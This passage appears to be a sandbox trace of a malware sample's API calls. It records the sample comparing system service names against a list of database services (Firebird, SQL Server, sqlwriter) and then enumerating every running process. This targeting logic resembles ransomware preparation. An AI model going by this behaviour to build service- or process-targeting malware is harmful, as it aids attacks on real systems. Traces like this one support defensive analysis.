returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.229] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.229] lstrlenW (lpString="RpcSs") returned 5 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.229] lstrlenW (lpString="SamSs") returned 5 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.229] lstrlenW (lpString="Schedule") returned 8 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.230] lstrlenW (lpString="SecurityHealthService") returned 21 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0175.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0175.230] lstrlenW (lpString="SENS") returned 4 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.230] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.230] lstrlenW (lpString="Spooler") returned 7 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.230] lstrlenW (lpString="SSDPSRV") returned 7 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0175.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0175.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0175.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0175.230] lstrlenW (lpString="StateRepository") returned 15 [0175.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0175.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0175.231] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0175.231] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0175.231] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0175.231] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0175.234] Process32FirstW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.235] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.236] lstrlenW (lpString="System") returned 6 [0175.236] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.236] lstrlenW (lpString="smss.exe") returned 8 [0175.237] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.237] lstrlenW (lpString="csrss.exe") returned 9 [0175.237] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.238] lstrlenW (lpString="wininit.exe") returned 11 [0175.238] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.239] lstrlenW (lpString="csrss.exe") returned 9 [0175.239] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.239] lstrlenW (lpString="winlogon.exe") returned 12 [0175.239] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.289] lstrlenW (lpString="services.exe") returned 12 [0175.289] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.290] lstrlenW (lpString="lsass.exe") returned 9 [0175.290] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.291] lstrlenW (lpString="svchost.exe") returned 11 [0175.291] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.291] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.292] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.292] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.292] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.293] lstrlenW (lpString="svchost.exe") returned 11 [0175.293] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.294] lstrlenW (lpString="dwm.exe") returned 7 [0175.294] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.294] lstrlenW (lpString="svchost.exe") returned 11 [0175.294] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.295] lstrlenW (lpString="svchost.exe") returned 11 [0175.295] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.296] lstrlenW (lpString="svchost.exe") returned 11 [0175.296] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.296] lstrlenW (lpString="svchost.exe") returned 11 [0175.296] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.297] lstrlenW (lpString="svchost.exe") returned 11 [0175.297] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.298] lstrlenW (lpString="svchost.exe") returned 11 [0175.298] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.299] lstrlenW (lpString="svchost.exe") returned 11 [0175.299] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.301] lstrlenW (lpString="svchost.exe") returned 11 [0175.301] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.302] lstrlenW (lpString="svchost.exe") returned 11 [0175.302] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.303] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.303] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.304] lstrlenW (lpString="svchost.exe") returned 11 [0175.304] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.304] lstrlenW (lpString="svchost.exe") returned 11 [0175.304] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.305] lstrlenW (lpString="audiodg.exe") returned 11 [0175.305] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0175.306] lstrlenW (lpString="sihost.exe") returned 10 [0175.306] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.306] lstrlenW (lpString="svchost.exe") returned 11 [0175.306] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.307] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.307] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0175.308] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0175.308] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0175.308] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0175.309] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.309] lstrlenW (lpString="explorer.exe") returned 12 [0175.309] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0175.310] lstrlenW (lpString="Memory Compression") returned 18 [0175.310] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0175.311] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0175.311] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0175.311] lstrlenW (lpString="SearchUI.exe") returned 12 [0175.311] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0175.312] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0175.312] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.313] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.313] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.313] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.313] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0175.314] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0175.314] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0175.315] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0175.315] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0175.315] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0175.316] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.316] lstrlenW (lpString="conhost.exe") returned 11 [0175.316] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0175.317] lstrlenW (lpString="screensaver.exe") returned 15 [0175.317] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0175.318] lstrlenW (lpString="upperarc.exe") returned 12 [0175.318] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0175.318] lstrlenW (lpString="buying.exe") returned 10 [0175.318] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0175.319] lstrlenW (lpString="downloadable.exe") returned 16 [0175.319] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0175.320] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0175.320] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0175.321] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0175.321] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0175.321] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0175.321] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0175.322] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0175.322] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0175.323] lstrlenW (lpString="moments.exe") returned 11 [0175.323] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0175.323] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0175.323] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0175.324] lstrlenW (lpString="stream-test.exe") returned 15 [0175.324] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0175.325] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0175.325] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0175.325] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0175.325] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0175.326] lstrlenW (lpString="movers-indication.exe") returned 21 [0175.326] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0175.327] lstrlenW (lpString="drama tv 